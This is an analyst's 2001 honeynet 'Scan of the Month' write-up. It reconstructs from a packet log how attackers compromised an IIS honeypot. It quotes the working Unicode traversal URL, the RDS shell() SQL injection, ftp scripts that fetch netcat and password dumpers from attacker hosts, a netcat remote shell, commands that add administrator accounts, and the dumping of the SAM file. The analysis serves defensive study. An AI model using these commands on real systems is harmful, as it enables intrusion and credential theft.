From lindne_f@ins.com Fri Apr 20 20:29:40 2001 Date: Sat, 07 Apr 2001 20:55:59 +0200 From: Felix Lindner To: project@honeynet.org Subject: Scan of the month my first try - for April. Congrats to you project. Regards Felix Lindner -- Lucent Technologies Worldwide Services (http://www.lucent.com/services) Felix Lindner [MCS] (flindner@lucent.com); Mobile +49 (0)173 318 53 32 "Calling EMACS an editor is like calling the Earth a hunk of dirt." -- Chris DiBona on Dirt (Open Sources, 1999 O'Reilly and Associates) [ Part 2: "Attached Text" ] Felix Lindner 04/07/01 About: snort-0204@0117.log DISCLAIMER: I never did such a thing before. I discovered that it is hard work but I think what the honeynet project does is a good idea. If I missed things here or I mixed up the involved parties at the end I'm very sorry about it. I'm sure my english makes no sense at some time in the file an I really recommend reading this while having a sniffer with the snort file open. TOOLS: I used only one tool: Ethereal 0.8.16 - which is a great tool. This was written on Linux (without any Windows box at hand), so some conclusions may be wrong. I sometimes forgot to name cmd cmd1 (in the UNICODE sessions - I hope you can accept it). TIME: According to the web page, I have to tell you, how long it took. Hmm, it was 3pm - now it's 9pm. That make some time ;) HERE WE GO: --------------------------------------------------------------------------- The Attacker (ATT) : 213.116.251.162 - He uses WinNT 5 and IE 5.01. This box has a MS-Office copy installed The Honeypot system (HP): 172.16.1.106 - ATT browses to / of HPs web server on port 80 with his NT 5 / IE 5 box - presses STOP button while browsing (packets 68-71 RSTing connections) - ATT browses to /guest/default.asp on HP:80 - ATT tries the UNICODE attack using his browser (packets 117-121) to receive c:\boot.ini as test. It works - ATT receives c:\boot.ini. Vulnerability exploit: GET /guest/default.asp/..%C0%AF../..%C0%AF../..%C0%AF../boot.ini HTTP/1.1 NOTE: The packet dump contains 4 packets, which looks a little confusing - I assume that SNORT put them in there to show the unescaped data because everything stays the same (including the checksum) but the payload data changes one UNICODE character set per time. - ATT then looks for the /msadc/msadcs.dll - first the directory /msadc/, where he gets 403ed - then the dll itself, which sends back a 24 bytes junk - ATT uses a POST request to /msadc/msadcs.dll/AdvancedDataFactory.Query that seems to be an exploit form the ADM group (packet 149): - The exploit uses multipart/mixed and as boundary the string "!ADM!ROX!YOUR!WORLD!" - that's why I assume it's from ADM. - The exploit is in fact from the owner of the system (RFP) and the ADM group, which I figured later. Oops. (http://www.securiteam.com/windowsntfocus/IIS_RDS_vulnerability.html) - It issues a SQL Query that reads (without the line feed): Select * from Customers where City= '|shell("cmp /c echo werd >> c:\fun")|'\0x08\0xb2\0x00driver={Microsoft Access Driver (*.mdb)}; dpq=c:\winnt\help\iis\htm\tutorial\btcustomr.mdb; - After knowing that the exploit code is from RFP and ADM, I found out that their exploit code was used. Analysis: The exploit seems to use a default database (demo) from IIS that uses Access to SQL query this and use a "pipe-to" notation to "shell-out" the command in shell(). The official RFP statment says it uses the IIS RDS - which makes sense to me but the point is that a sample is installed that can be queried in the first place. - ATT then uses the earlier discovered UNICODE vulnerability to verify that there now is a file "c:\fun" and it contains the word "werd", which is the case. (packet 161) - Now, ATT goes straight into taking over the system. He follows the pattern of creating a command file for FTP and then call the ftp client. I skip the GET and POST messages here and only list the commands run on the server using this exploit: cmd /c echo user johna2k >ftpcom cmd /c echo hacker2000 >>ftpcom cmd /c echo get samdump.dll >>ftpcom cmd /c echo get pdump.exe >>ftpcom cmd /c echo get nc.exe >>ftpcom cmd /c echo quit >>ftpcom - then he tries to use this file to connect to .. (packet 296) cmd /c ftp -s:ftpcom -n www.nether.net - unfortunately, the server (freenet.nether.net) does not like johna2k:hacker2000 and therefore the download of all these nice tools fails (packets 306-327) - because ATT did not notice that it went wrong, he tries to execute cmd /c pdump.exe >>new.pass - now he wants to collect his "new.pass" file ... this time calling the command sequence "ftpcom2": cmd /c echo user johna2k >ftpcom2 cmd /c echo hacker2000 >>ftpcom2 cmd /c echo put new.pass >>ftpcom2 cmd /c echo quit >>ftpcom2 - ... and go for it ... (packet 435) cmd /c ftp -s:ftpcom2 -n www.nether.net ... but the HP system does not even find a file called "new.pass" and the login on freenet.nether.net failed anyway. - Now ATT might have noticed that no file "new.pass" arrived on his ftp account and has to check whenever the HP system is behind a firewall. First, he makes sure the HP is still online (hit the reload button in his browser - packets 465-502). - Then, he checks firewalls by starting a ftp session "by hand" to his own system, so he can see the connection attempt (packet 518): cmd /c ftp 213.116.251.162 - the server replys with "220-Serv-U FTP-Server v2.5h fro WinSock ready..." - and a banner that reads: "220--------H-A-C-K T-H-E P-L-A-N-E-T--------" "220-W3l_c0m3 TO JohnA's 0d4y Ef-Tee-Pee S3rv3r" "220-Featuring 200% elite hax0r warez!@$#@" "220-Im running win 95 (release candidate 1), on a p33, with 16mb Ram" "220--------H-A-C-K T-H-E P-L-A-N-E-T--------" - now he goes for it and makes up a new "ftpcom" file, that will connect to his own system: cmd /c echo open 213.116.251.162 > ftpcom cmd /c echo user johna2k >ftpcom cmd /c echo hacker2000 >>ftpcom cmd /c echo get samdump.dll >>ftpcom cmd /c echo get pdump.exe >>ftpcom cmd /c echo get nc.exe >>ftpcom cmd /c echo quit >>ftpcom - ... and tries to use it cmd /c ftp -s:ftpcom ... which does not work [and I'm not sure why] - ATT tries another server (packet 700): cmd /c open 212.139.12.26 cmd /c echo johna2k >>sasfile cmd /c echo haxedj00 >>sasfile cmd /c echo get pdump.exe >>sasfile cmd /c echo get samdump.dll >>sasfile cmd /c echo get nc.exe >>sasfile cmd /c echo quit >>sasfile - ... and runs it cmd /c ftp -s:sasfile ... which does not work again ... - so he does something stupid now - he forgets to redirect output to a file. cmd /c open 213.116.251.162 ... but goes on without noticing ... (packet 870) cmd /c echo johna2k >>sasfile cmd /c echo haxedj00 >>sasfile cmd /c echo get pdump.exe >>sasfile cmd /c echo get samdump.dll >>sasfile cmd /c echo get nc.exe >>sasfile cmd /c echo quit >>sasfile - ... and runs it cmd /c ftp -s:sasfile ... which does not work again ... (packet 981) - Now, he becomes tired of the FTP actions and tries something different. He goes for the UNICODE attack again and runs a standard attack, that looks like this (packet 991): GET /msadc/..%C0%AF../..%C0%AF../..%C0%AF../winnt/system32/cmd.exe?/c+copy+C:\winnt\system32\cmd.exe+cmd1.exe HTTP/1.1 I'm going to skipp the GET and the UNICODE string part from how on: cmd1 /c echo open 213.116.251.162 >ftpcom cmd1 /c echo user johna2k >ftpcom cmd1 /c echo haxedj00 >>ftpcom cmd1 /c echo get nc.exe >>ftpcom cmd1 /c echo get pdump.exe >>ftpcom cmd1 /c echo get samdump.dll >>ftpcom cmd1 /c echo quit >>ftpcom cmd1 /c ftp -s:ftpcom ... and now it works. HP opens a connection to 213.116.251.162, the username and password (his real password, I assume) are accepted and he gets 'nc.exe', pdump.exe and samdump.dll. - While HP still downloads pdump.exe, ATT runs netcat (nc.exe) via UNICODE: cmd1 /c nc -l -p 6969 -e cmd1.exe - Packet 1275 is the connect to the listener at HP:6969. Now, with a remote shell at hand, he goes on: ATT> dir HP > [directory listing of c:\Program Files\Common Files\system\msadc] - ATT runs pdump.exe using UNICODE instead of his netcat shell in packet 1361: cmd1 /c C:\Program Files\Common Files\system\msadc\pdump.exe >yay.txt ... but notices by typing "dir" in his 6969-shell that it did not create a file with this name NOTE: in in packet 1375 he presses the Up-Arrow key, which is not honnored by his 6969-shell in packet 1380 - ATT now cleans up a bit using 6969-shell and still looks for yay.txt: dir del ftpcom ls <-- returns an error dir type readme.e <-- returns error - Because there is still no yay.txt, he runs pdump.exe over UNICODE again, this time using a complete path for yay.txt: cmd /c C:\Program Files\Common Files\system\msadc\pdump.exe >c:\yay.txt - back in 6969-shell: c: <-- returns error ;) cd\ dir * NOTE: the result of this 'dir' command is a lot of interesting stuff (packet 1466): AUTOEXEC.BAT boot.ini CONFIG.SYS exploits (DIR) fun InetPub (DIR) Multimedia Files (DIR) New Folder (DIR) pagefile.sys Program Files (DIR) TEMP (DIR) wiretrip (DIR, notice the name?) yay.txt (still 0 bytes big) ATT> rm <-- returns error .. ATT> del fun ATT> dir <-- again looking for yay.txt ATT> cd exploites <-- well .. it's called "exploits" but at least he saw it ATT> dir ATT> cd exploits ATT> dir * NOTE: I just give the file names here (HP> means it's what the HP returns) HP> . HP> .. HP> microsoft (DIR) HP> newfiles (DIR) HP> unix (DIR) ATT> cd microsoft ATT> dir HP> . HP> .. HP> 95sscrk.zip HP> ac.zip HP> anger.tar.gz ATT> cd .. ATT> cd newfiles ATT> dir HP> . HP> .. ATT> cd .. ATT> cd unix ATT> dir HP> . HP> .. HP> sunos-exploits (DIR) HP> tcp-exploits (DIR) HP> trojans (DIR) HP> udp-exploits (DIR) HP> ultrix-exploits (DIR) HP> xwin-exploits (DIR) ATT> cd .. ATT> dir ATT> cd .. ATT> dir - seeing that his pdump.exe still produced no output, he runs it again via UNICODE: cmd /c pdump.exe >>c:\yay.txt - and checks the reult in 6969-shell: ATT> dir ATT> dir' <-- results in error but is a good hint where he is at this time because such typos happen more often on european keyboards where the ' is next to enter. ATT> dir ATT> cat yay <-- does not work; no cat ATT> type yay <-- he is really not in his best shape ATT> type yay.txt HP> ATT> net session HP> system error 5 HP> Access is denied ATT> net users HP> User accounts for \\ HP> Administrator HP> IUSR_KENNY HP> IWAM_KENNY <-- hmm, KENNY is a good name for a honnypot ;) - back in UNICODE over HTTP: cmd /c net session >>yay2.txt cmd /c net session >>c:\yay2.txt - and back into the 6969-shell ATT> dir ATT> type yay2.txt HP> There are no entries in the list ATT> del yay2.txt ATT> net session >>yay3.txt HP> system error 5 HP> Access is denied ATT> dir ATT> del yay&.* <-- error ATT> dir ATT> del yay*.txt HP> c:\yay.txt The process cannot access the file because it is being used by another process ATT> del yay3.txt <-- results in file not found error ATT> dir - again in UNICODE over HTTP cmd /c net users >>heh.txt cmd /c net users >>c:\heh.txt - and back in his 6969-shell: ATT> dir ATT> yuper <-- don't know what this is ? ATT> type heh.txt < results is the same listing as above> ATT> del heh.txt ATT> cd program files ATT> dir < normal NT stuff, outlook express ...> ATT> cd .. ATT> dir < as usual ...> ATT> echo Hi, i know that this is a lab server, but patch the holes ! :-) >>README.NOW.Hax0r ATT> dir < now showing his super-cool file ...> ATT> dir ATT> net group HP> Group accounts fro \\ * Domain Admins * Domain Users The command completed with one or more errors ATT> net localgroup < results in error that the logon session does not exist> ATT> net group domain admins < results in the "how-to-use-net" output> ATT> [Anet group /? ATT> net group ?? < results in the "how-to-use-net" output> ATT> net group /? < results in the "how-to-use-net" output> ATT> net group HP> Group accounts fro \\ * Domain Admins * Domain Users The command completed with one or more errors ATT> net localgroup < results in error that the logon session does not exist> ATT> net localgroup /domain admins < results in error that the logon session does not exist> ATT> net localgroup domain admins < results in the "how-to-use-net" output> ATT> net users HP> User accounts for \\ Administrator IUSR_KENNY IWAM_KENNY The command completed with one or more errors. - UNICODE again ... cmd /c net localgroup Domain Admins IWAM_KENNY /ADD cmd /c net localgroup Domain Admins IUSR_KENNY /ADD - and back in his 6969-shell (probably assuming that issuing the command by UNICODE did magical solve all his problems ..) ATT> net session ATT>[A[A[Anet local group domain admins <-- when does ATT figure out that his cursor keys are not supported here ? ATT> net group domain admins < results in the "how-to-use-net" output> ATT> net loaclgroup administrators NOTE: he finaly made this listing ! (packet 2447) HP> Alias name administrators Comment Members can filly administer the computer/domain Members Administration Domains Admins The command completed successfully - now trying to add the webserver user to this group by UNICODE cmd /c net localgroup administrators IUSR_KENNY /ADD cmd /c net localgroup administrators IWAM_KENNY /ADD - and back in 6969-shell, using his cursor keys again ;) ATT> [Anet localgroup administrators ATT> net localgroup administrators HP> Alias name administrators Comment Members can filly administer the computer/domain Members Administration Domains Admins IUSR_KENNY IWAM_KENNY The command completed successfully NOTE: Uh. He made it. The web server user is now part of administrators. ATT> net session ATT> dir ATT> cd program files ATT> dir ATT> cd common files ATT> dir ATT> cd odbc < file not found error> ATT> dir ATT> cd microsoft shadr[2-times-BACKSPACE]red < file not found error> ATT> cd microsoft shared ATT> dir < the stuff that belongs here> ATT> cd .. ATT> cd odbc ATT> dir < the stuff that belongs here> ATT> cd data dou < file not found error> ATT> cd data sources ATT> dir < the stuff that belongs here> ATT> cd .. ATT> cd .. ATT> dir ATT> cd system ATT> dir < the normal stuff, including msadc and oledb> ATT> cd msads < file not found> ATT> dir < the normal stuff, including msadc and oledb> ATT> cd msas[BACKSPACE]dc < file not found> ATT> cd msadc ATT> dir < several dll's and his files: cmd1.exe, pdump.exe, nc.exe and samdump.dll> ATT> psu < command not found> ATT> pdump HP> failed to open lsass: 5 Exiting ATT> net start HP> These WIndows NT services are started: Alerter ComputerBrowser EventLog FTP Publishing Service IIS Admin Service License Logging Service Messenger MSDTC Net Logon NTLM Security SUpport Provider Plug and PLay Protected Storage Remote Procedure Call (RPC) Locator Remote Procedure Call (RPC) Service Server Spooler TCP/IP NetBIOS Helper Workstations World Wide Web Publishing Service The command completed successfully - back in UNICODE over HTTP cmd /c net user testuserUgotHacked /ADD cmd /c net localgroup Administrators testuser /ADD - now, ATT pings HP 3 times from what looks like a windows system (ICMP payload) - and is back in 6969-shell ATT> net localgroup administrators HP> Alias name administrators Comment Members can filly administer the computer/domain Members Administration Domains Admins IUSR_KENNY IWAM_KENNY The command completed successfully ATT> dir[some-key] < command not found > ATT> net users HP> User accounts for \\ Administrator IUSR_KENNY IWAM_KENNY The command completed with one or more errors. ATT> net users HP> User accounts for \\ Administrator IUSR_KENNY IWAM_KENNY The command completed with one or more errors. ATT> net users /? < says how to use net users ...> ATT> net users hi guy /ADD HP> System error 1312 has occured A specified logon session does not exist. It may already have been terminated. ATT> /net < command not found> ATT> netnet password < command not found> ATT> net users HP> User accounts for \\ Administrator IUSR_KENNY IWAM_KENNY The command completed with one or more errors. * NOTE: this is packet 3010 and I stop following here in detail. ATT continues to mess around with the net syntax and still tries to add a user. - packet 3149 (still in 6969-shell), ATT deletes samdump.dll and pdump.exe. Then he goes on (while having a lot of typos) to c:\winnt\repair. Here he finds (packet 3203) a sam._ and security._ dating back to 11/26/00. - ATT issues "rdisk -s" over 6969-shell, then "rdisk -/s" and uses "dir" to verify that it did not work ;) Now he runs "rdisk" without options (packet 3255) and again "rdisk -s" but it does not help. - ATT tryes to see sam._ (first "cat" then "type") but gets "Access denied" - Not he uses UNICODE to cmd /c rdisk -/s cmd /c rdisk -s cmd /c rdisk ... but "dir" over 6969-shell showes him how successfull he was and he runs it again: cmd /c rdisk -/s cmd /c rdisk -s/ cmd /c rdisk /s- ... and "dir" over 6969-shell is still not willing to show success cmd /c rdisk /s- ... "dir" ... cmd /c rdisk /s- - it's packet 3527 when he tryes (still using UNICODE): cmd /c type c:\winnt\repair\sam._ >>c:\har.txt ... and finds a 5327 bytes file har.txt in c:\ which he happily sends over the line using his 6969-shell command "type har.txt" ... - Then, ATT tryes to do something over his netcat 6969-shell, but it seems to be mess'd up by the har.txt character flood, so ATT closes connection and uses UNICODE to start netcat again, which does not work (Connection refused, see packets 3668-3678). - ATT hits his RELOAD-Button in the browser window to make sure the system is still there *sig* - Again, UNICODE string to start netcat (packet 3744), now it works. - He reconnects to his 6969-shell and tryes again to delete c:\yay.txt, which does not work. Then he goes into c:\wiretrip\., "dir"s araound a little on the system and manages to "copy c:\har.txt c:\inetpub\wwwroot\". - ATT downloads har.txt (type'd sam._) via HTTP. - Back on 6969-shell, he tryes to delete har.txt but get's an "Access denied" several times. Because it does not work, he runs cmd /c del c:\inetpub\wwwroot\har.txt vi UNICODE over HTTP, but fails. Doing it a second time does not increase his success. - He gives up on har.txt for now and goes looking around in c:\inetpub\wwwroot\guest, tryes to switch to d:, e:, f:, h:, g:, f:, a:, b: (which are not existing or in case of a: not stuffed with a disk..). After looking around in c:\temp, ATT issues the command "exit". - After reloading the root web page again, he starts netcat again via UNICODE. - Another guy connects to the 6969-shell. This one is comming from 202.85.60.156. Let's call him ATT3 (I discovered ATT2 earlier but chronological later .. sorry). He as to make sure drive D: is still not existing, displays the 0-byte big file c:\yay.txt again via "type" and does the same for "har.txt", which gives him a load of binary data again. This time, ATT3's 6969-shell recovers from that binary data attack and ATT cd's around in the exploits directory until he decides to: ATT3> echo best honeypot i've seen till now :) >rfp.txt - Now, ATT uses the UNICODE exploit to display c:\boot.ini (which works), c:\READ.NOW.hax0r (which does not work, because he called the file README.NOW.hax0r), checks if he can remember, asks for c:\READ.me.NOW.hax0r and descides to go for another cd'ing around on the box. - He then does a reload on the page (packet 4459), that contains a very interesting referrer tag: Referer: http://www.google.com/search ?q=esb.php3&hl=e n&lr=&safe=off ... so he may be in a PHP attack at the same time - packet 4486 - back in his 6969-shell, ATT3 has a look at some lines in c:\exploits\unix\tcp-exploits\allhosts.c, csircseq.c. Finding that too boring (spend 28 sec's here - packet 4514), he goes back to the c:\, makes sure D: and A: did not silently arrive and displays README.NOW.hax0r - packet 4584 - a new player (the same?), running a Netscape on Linux 2.4.11 loads the main page. His IP is 212.187.36.4. - packet 4680, ATT (the first one), uses UNICODE to run some more net commands cmd /c net user IWAM_KENNY Snake69Snake69 - packet 4694 - ATT2 (the Linux user), requests /test.txt from the web server, which is delivered to him and contains "test". - packet 4704 - ATT1 reloads the main page and then sends two pings to the host. They are not answered. He tryes to connect to port 445, gets "connection refused" several time, pings more, gets more "connection refused" later and issues in his 6969-shell: echo this can't be true >test.txt and does a "type test.txt", then takes his web broser and checks what /test.txt might have in storage for him - it's his text: "this can't be true" - ATT2 seems to have a new IP by now (packet 4770 - IP 217.46.45.28) and is interested in /test.txt over HTTP, which leads me to the assumption that both are the same guy. - ATT gets the /test.txt file another time and another and then a third player (194.126.101.110) running Netscape 4.7 on Windows and comming through a Squid 2.3 proxy accesses the same file. NOTE: These guys are probably in the same IRC channel or something along these lines and ATT just told them that he hacked RFP. - packet 4798 - another spectator on /test.txt - packet 4823 - one more - packet 4862 - next one ­ packet 4874 - and one more (while ATT3 is still haning around in the 6969-shell) - 4975 - ATT3 removes his test directory in c:\ - 5020 - A Lynx user (probably german ) arrives to have a look at the main page (HTTP). - 5172 - ATT3 has a take on the default.htm page, which he renames to default.html. I assume they change the frant page now and discuss the new content over their out-of-band communication. - 5205 - ATT3 took this box over and does a echo >>default.htm ATT2 reloads the page but receives the old one. - 5283 - ATT himself thinks it's a good idea to copy cmd.exe to cmd1.exe again. He uses UNICODE. Then, he creates a new ftpcom file. It again connects to his system, this time trying to upload c:\wiretrip\whisker.tar.gz - which seems to be a nice thing to get... by packet 5741, whisker.tar.gz made it to his system. - 5766 - ATT deletes his ftpcom file using UNICODE: cmd1.exe /c del ftpcom - 5835 - one of the guys has a look at the guestbook /guest/ViewGB.asp. By this time, lots of people are looking at the web page and the /test.txt file. SUMMARY: I think that ATT is really a script kiddy and has no idea. He is not concentrated and does not follow any plan, cd's and dir's around a lot and seems to hack with "Hacking Exposed" on his table. ATT3 is more experienced and knows what to go for. ASSUMPTION: I think that ATT discovered the pot, went for it and asked for help in IRC. ATT3 told him what to do and later took a look because RFP is a name he knows. During their IRC conversation, everyone on this channel (including ATT) learned what a honeypot is and that he is on one of them. [EOF]